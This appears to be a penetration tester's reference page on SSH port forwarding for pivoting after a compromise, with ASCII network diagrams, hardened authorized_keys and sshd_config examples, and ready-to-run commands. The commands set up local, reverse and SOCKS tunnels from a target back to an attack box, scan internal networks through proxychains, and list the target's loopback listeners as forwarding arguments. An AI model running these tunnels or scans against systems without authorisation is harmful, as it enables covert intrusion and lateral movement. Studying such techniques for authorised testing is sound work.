Skip to main content

Port Forwarding with SSH

Security Considerations

Reverse Tunneling

  • This will require you to establish a SSH connection from the foothold back to your attack box.
  • You want to mitigate any potential for this authentication to be used against you

Public Key Authentication

  • Say you have a throwaway account named junkuser for the purpose of tunneling
  • The SSH public key will be placed in /home/junkuser/.ssh/authorized_keys
  • With public key authentication, you can add options to the authorized key file
command="echo 'This account is for port forwarding only'",from="192.168.1.11,192.168.1.12",no-user-rc,no-agent-forwarding,no-X11-forwarding,no-pty ssh-rsa public-key-here

Example: authorized_keys entry

Password Authentication

  • Public key authentication would be a better choice, because it is much easier to manage key files
  • If you must use passwords, you can add a Match statement to your /etc/ssh/sshd_config file to constrain the user
    • You can combine SSH public key with the Match statement, as well, create a more constrained configuration
  • Say you have a throwaway user named junkuser, just append the user match to the bottom of the config file
Match junkuser
    PermitRootLogin no
    PermitTTY no
    PermitUserRC no
    ForceCommand "echo 'This account is for port forwarding only'"
    PasswordAuthentication yes
    PermitEmptyPasswords no
    MaxAuthTries 2   
    AllowAgentForwarding no
    X11Forwarding no
	X11UseLocalhost no

Example: sshd_config

Individual Port Forwarding

Local Port to Remote Port

Network Diagram

                                   SCENARIO
                                   --------
              During post-exploit enumeration you discover internal
              services bound to tcp/8001 and tcp/8443 on the loopback interface.
              
              You create or use and existing SSH credential to forward the two
              ports from your attack box to the internal mappings on the target.
              tcp/48001 on attack box maps to tcp/8001 on the target, likewise for
              tcp/48443


 .------------.          [+]============[ SSH CONNECTION ]============>>          .------------.
 |            |                                                                   |            |
 | ATTACK BOX |       ,-----------------[   SSH TUNNEL   ]----------------.       |   TARGET   |
 | ssh client |       |                                                   |       | ssh server |
 |            |       |  [+]============[ SSH CONNECTION ]============>>  |       |            |
 '------------'       |                                                   |       '------------'
                      |                                                   |
127.0.0.1:48001 [+]---|                                                   |------> 127.0.0.1:8001
127.0.0.1:48443 [+]---'                                                   '------> 127.0.0.1:8443


ssh -o "UserKnownHostsFile=/dev/null" \
-o "StrictHostKeyChecking=no" -f -N \
-L 127.0.0.1:48001:127.0.0.1:8001 \
-L 127.0.0.1:48443:127.0.0.1:8443 \
-i id_rsa user@target

sudo nmap -Pn -sT -sC -sV -p48001,48443 127.0.0.1

Example Commands

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -L attack-ip:attack-port:remote-ip:remote-port user@target

Password authentication

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -L attack-ip:attack-port:remote-ip:remote-port \
-i /path/to/private-key user@target

Key authentication

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -f -N \
-L attack-ip:attack-port:remote-ip:remote-port \
-L attack-ip:attack-port:remote-ip:remote-port user@target

Multiple port forwards using multiple -L declarations

Reverse Local Port to Remote Port

Network Diagram

                                   SCENARIO
                                   --------
              During post-exploit enumeration you discover internal
              services bound to tcp/8001 and tcp/8443 on the loopback interface.
              
              You create a throwaway credential on your attack box for authentication
              to your attack box and reverse forward the two ports from your attack box 
              to the internal mappings on the target. tcp/48001 on attack box maps to 
              tcp/8001 on the target, likewise for tcp/48443

	      
            ⚠️ BE CAREFUL WITH REVERSE CONNECTIONS BACK TO ATTACK BOX ⚠️
      PROMPTLY CHANGE / REMOVE THE CREDENTIAL ONCE THE MISSION IS ACCOMPLISHED

 .------------.          <<============[ SSH CONNECTION ]============[+]          .------------.
 |            |                                                                   |            |
 | ATTACK BOX |       ,----------------[   SSH TUNNEL   ]-----------------.       |   TARGET   |
 | ssh server |       |                                                   |       | ssh client |
 |            |       |  <<============[ SSH CONNECTION ]============[+]  |       |            |
 '------------'       |                                                   |       '------------'
                      |                                                   |
127.0.0.1:48001 [+]---|                                                   |------> 127.0.0.1:8001
127.0.0.1:48443 [+]---'                                                   '------> 127.0.0.1:8443

sudo nmap -Pn -sT -sC -sV -p48001,48443 127.0.0.1                        ssh -o "UserKnownHostsFile=/dev/null" \
                                                                         -o "StrictHostKeyChecking=no" -f -N \
                                                                         -R 127.0.0.1:48001:127.0.0.1:8001 \
                                                                         -R 127.0.0.1:48443:127.0.0.1:8443 \
                                                                         -i id_rsa junk_user@attack-box

Example Commands

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -R attack-ip:attack-port:local-ip:local-port user@attack-box-ip

Password authentication

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -R attack-ip:attack-port:local-ip:local-port \
-i /path/to/private/key user@attack-box-ip

Key authentication

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" -f -N \
-R attack-ip:attack-port:local-ip:local-port \
-R attack-ip:attack-port:local-ip:local-port user@attack-box-ip

Multiple port forwards with multiple -R declarations

Forward Dynamic SOCKS Proxy

SOCKS operates at layer 4 and up on the OSI model. Ping -- or ICMP -- is a layer 3 protocol and does not flow over SOCKS. So, you cannot ping targets through a SOCKS proxy.

Network Diagram

                                             SCENARIO
                                             --------
                   During post-exploit enumeration you discover internal services bound to
                   tcp/8080. You also discover that the host has access to additional networks.
              
                   You create or use and existing SSH credential for authentication to the target
                   and create and open a proxy port to dynamically forward packets to the target 
                   SSH server. The target SSH server acts as a transparent SOCKS proxy and moves 
                   the packets to the destination, so long as it can route there, and so long as 
                   there is no firewall blocking the traffic.



 .------------.          [+]============[   SSH CONNECTION   ]==============>>    .------------.                          .----.        .----.
 |            |                                                                   |            | <<===================>>  |    | .----. |    |
 | ATTACK BOX |       ,-----------------[     SSH TUNNEL     ]--------------------|   TARGET   |------SOCKS5 PROXY----->  '----' |    | '----'
 | ssh client |       |                                                           | ssh server | <<========.:.========>>  .----. '----' .----.
 |            |       |  [+]============[   SSH CONNECTION   ]==============>>    |            |           |'|            |    |        |    |
 '------------'       |                                                           '------------'           |'|            '----'        '----'
                      |                                                                                    |'|             ADDITIONAL TARGETS
                      |                                                                            ======== '|                 OR NETWORKS
127.0.0.1:50080 [+]---'                                                           127.0.0.1:8080 <----------'|
                                                                                                   =========='
ssh -o "UserKnownHostsFile=/dev/null" \
-o "StrictHostKeyChecking=no" -f -N \
-D 127.0.0.1:50080 -i id_rsa user@target


"socks5 127.0.0.1 50080" in proxychains4.conf                           
 sudo proxychains -q nmap -Pn -sT --top-ports 500 <target(s)>
 
 curl --proxy 'socks5://127.0.0.1:58080' http://127.0.0.1:8080

Example Commands

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -D attack-ip:attack-port user@target

Password authentication

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -D attack-ip:attack-port -i /path/to/private-key user@target

Key authentication

Reverse Dynamic SOCKS Proxy

  • REQUIRES AT LEAST OpenSSH Client 7.6!
  • Create a dummy account on Kali, generate an SSH key pair, transfer the private key to the target
  • Run on the target

SOCKS operates at layer 4 and up on the OSI model. Ping -- or ICMP -- is a layer 3 protocol and does not flow over SOCKS. So, you cannot ping targets through a SOCKS proxy.

Network Diagram

                                             SCENARIO
                                             --------
                   During post-exploit enumeration you discover internal
                   services bound to tcp/8080. You also discover that the host
                   has access to additional networks.
              
                   You create a throwaway credential on your attack box for authentication
                   to your attack box and create and open a proxy port to dynamically forward
                   packets to the target SSH server. The target SSH server acts as a transparent
                   SOCKS proxy and moves the packets to the destination, so long as it can
                   route there, and so long as there is no firewall blocking the traffic.

	      
                         ⚠️ BE CAREFUL WITH REVERSE CONNECTIONS BACK TO ATTACK BOX ⚠️
                   PROMPTLY CHANGE / REMOVE THE CREDENTIAL ONCE THE MISSION IS ACCOMPLISHED


 .------------.          <<============[   SSH CONNECTION   ]==============[+]    .------------.                          .----.        .----.
 |            |                                                                   |            | <<===================>>  |    | .----. |    |
 | ATTACK BOX |       ,----------------[     SSH TUNNEL     ]---------------------|   TARGET   |------SOCKS5 PROXY----->  '----' |    | '----'
 | ssh server |       |                                                           | ssh client | <<========.:.========>>  .----. '----' .----.
 |            |       |  <<============[   SSH CONNECTION   ]==============[+]    |            |           |'|            |    |        |    |
 '------------'       |                                                           '------------'           |'|            '----'        '----'
                      |                                                                                    |'|             ADDITIONAL TARGETS
                      |                                                                            ======== '|                 OR NETWORKS
127.0.0.1:50080 [+]---'                                                           127.0.0.1:8080 <----------'|
                                                                                                   =========='

"socks5 127.0.0.1 50080" in proxychains4.conf                           ssh -o "UserKnownHostsFile=/dev/null" \
 sudo proxychains -q nmap -Pn -sT --top-ports 500 <target(s)>           -o "StrictHostKeyChecking=no" -f -N \
                                                                        -R 127.0.0.1:50080 -i id_rsa junk_user@attack-box
curl --proxy 'socks5://127.0.0.1:58080' http://127.0.0.1:8080

Example Commands

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -R attack-ip:attack-port user@attack-box-ip

Password authentication

ssh -o "UserKnownHostsFile=/dev/null" -o "StrictHostKeyChecking=no" \
-f -N -R attack-ip:attack-port -i /path/to/private-key user@attack-box-ip

Key authentication

Proxychains

proxychains is used for dynamic port scanning when using Forward or Reverse Dynamic SOCKS Proxy

sudo nano /etc/proxychains4.conf

In the example below, this assumes you've used tcp/50080 as the SOCKS5 proxy port (as shown in the example command above). If you're proxying through an older host, you may need to specify socks4 instead

[ProxyList]
socks5 127.0.0.1 50080


Port Scanning via SOCKS Proxy

With SOCKS, you must use the -sT flag to make a full TCP connection through the proxy. The SOCKS proxy cannot track TCP states when -sS or half-open scans are used.

Scanning 127.0.0.1 -- in this case -- causes the traffic to flow through the SOCKS session, come out the other side of the proxy on the target and effectively scan the loopback adapter on the target side.

# TCP connect scans are brutally slow, use top 1,000 ports
sudo proxychains -q nmap -Pn -sT --top-ports 1000 -T4 -sC -sV 127.0.0.1

Tips and Tricks

ss -plutan | grep -i listen | grep -oE '(127.0.0.1|\[::1\]):[0-9]{1,5}' | 
grep -v 53 | sed 's/\[::1\]/127.0.0.1/g' | xargs -I {} echo '-L {}:{} \'

Run on the target to generate a list of -L port forwards for convenience, ignores DNS resolver

Probably goes without saying, but change -L to -R generate the output for reverse port forwards.